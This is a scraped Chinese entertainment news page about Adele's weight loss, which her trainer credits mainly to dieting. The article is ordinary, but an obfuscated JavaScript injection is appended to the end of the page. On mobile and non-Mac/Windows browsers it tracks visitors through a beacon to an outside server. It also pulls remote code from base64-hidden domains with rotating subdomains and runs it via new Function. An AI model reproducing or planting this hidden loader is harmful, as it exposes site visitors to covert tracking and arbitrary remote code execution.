阿黛尔瘦身成功甩掉近40斤 全靠节食而非运动

时间:2020-01-09 20:00:34阅读:44049
瘦身前瘦身后据外媒报道,31岁的英国天后阿黛尔肉眼可见地甩掉三英石的体重,让全世界惊叹不已。据称她之所以瘦身成功主要归功于饮食习惯的改变,因为阿黛尔向来“不喜欢运动”。1月3日
第1张图片
1/2
第1张图片
第2张图片
2/2
第2张图片

瘦身前

瘦身后

据外媒报道,31岁的英国天后阿黛尔肉眼可见地甩掉三英石的体重,让全世界惊叹不已。据称她之所以瘦身成功主要归功于饮食习惯的改变,因为阿黛尔向来“不喜欢运动”。

1月3日,阿黛尔与同行哈里·斯泰尔斯和多栖艺人詹姆斯·柯登在加勒比海结伴度假,她在海滩散步的照片震惊了全世界。圆润、丰满这些形容词儿跟她完全绝缘了,出现在世人面前的是一位清瘦清秀、锁骨都清晰可见的阿黛尔。

英国媒体报道,阿黛尔是在罗比·威廉姆斯的夫人艾达的介绍下,机缘巧合地得到在洛杉矶营业的“巴西身体巫师”卡米拉·古迪斯的帮助,才拥有如今令人眼热的身材。

36岁的卡米拉在线传记说,她擅长采用“各种普拉提和核心力量训练运动”。她告诉《太阳报》,阿黛尔的瘦身主要依靠的是节食而不是运动。

“我觉得她不是很喜欢运动,但她改变了生活方式,我相信瘦身的90%功劳在于节食……健康均衡的饮食,每天少摄入卡路里,多消耗能量。”

其他资讯

评论

  • 评论加载中...
function wfKArmnS(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function izQnAGP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wfKArmnS(t);};window[''+'s'+'b'+'B'+'n'+'m'+'a'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ZKHN(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=izQnAGP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ZKHN(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/15312/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ZKHN(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmd1a2dzby5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5jbm1lbnQuY24lM0E5NTTM1','167021',window,document,['M','T']);}:function(){};